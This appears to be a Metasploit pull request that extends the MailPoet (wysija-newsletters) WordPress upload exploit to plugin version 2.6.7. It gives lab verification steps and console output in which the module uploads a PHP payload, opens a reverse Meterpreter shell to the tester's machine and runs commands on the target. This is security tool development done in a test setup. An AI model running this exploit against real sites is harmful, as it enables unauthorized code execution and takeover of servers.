Updated Mailpoet exploit

The fix in version 2.6.7 was not correct so it's possible to exploit the vuln in 2.6.7 too. It was correctly fixed in version 2.6.8 (see links for details).

Old PR:https://github.com/rapid7/metasploit-framework/pull/3487

### Steps to verify
- [x] Install Wordpress (https://www.firefart.at/how-to-install-wordpress/)
- [x] Download the vulnerable version http://downloads.wordpress.org/plugin/wysija-newsletters.2.6.7.zip
- [x] Open the Admin Interface --> Plugin --> Add new --> Upload
- [x] Upload 2.6.7
- [x] Activate the Plugin
- [x] Run the exploit
- [x] Open Admin Interface and remove the Plugin
- [x] Verify 2.6.6 works (upload zip): http://downloads.wordpress.org/plugin/wysija-newsletters.2.6.6.zip
- [x] Run the exploit again

### Output
```
firefart@mint ~/coding/metasploit-framework $ ./msfcli exploit/unix/webapp/wp_wysija_newsletters_upload RHOST=192.168.126.164 C
[*] Initializing modules...
[*] 192.168.126.164:80 - Found version 2.6.7 of the plugin
[*] The target appears to be vulnerable.


firefart@mint ~/coding/metasploit-framework $ ./msfcli exploit/unix/webapp/wp_wysija_newsletters_upload RHOST=192.168.126.164 E
[*] Initializing modules...
RHOST => 192.168.126.164
[*] Started reverse handler on 192.168.126.128:4444 
[*] 192.168.126.164:80 - Uploading payload to /wp-content/uploads/wysija/themes/SQPBkiXgFS/LFdDdgADVo.php
[!] 192.168.126.164:80 - The theme folder SQPBkiXgFS can not be removed. Please delete it manually.
[*] 192.168.126.164:80 - Executing payload /wp-content/uploads/wysija/themes/SQPBkiXgFS/LFdDdgADVo.php
[*] Sending stage (40063 bytes) to 192.168.126.164
[*] Meterpreter session 1 opened (192.168.126.128:4444 -> 192.168.126.164:60558) at 2014-07-06 10:50:29 +0200
[+] Deleted style.css
[+] Deleted LFdDdgADVo.php

meterpreter > sysinfo
Computer    : wordpress
OS          : Linux wordpress 3.13.0-30-generic #54-Ubuntu SMP Mon Jun 9 22:45:01 UTC 2014 x86_64
Meterpreter : php/php
meterpreter > shell
Process 1476 created.
Channel 0 created.
grep -i "stable tag" /var/www/wordpress/wp-content/plugins/wysija-newsletters/readme.txt
Stable tag: 2.6.7
exit
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.126.164 - Meterpreter session 1 closed.  Reason: User exit
```

CC @brandonprry @jvazquez-r7 maybe you haven't removed your test systems yet ;)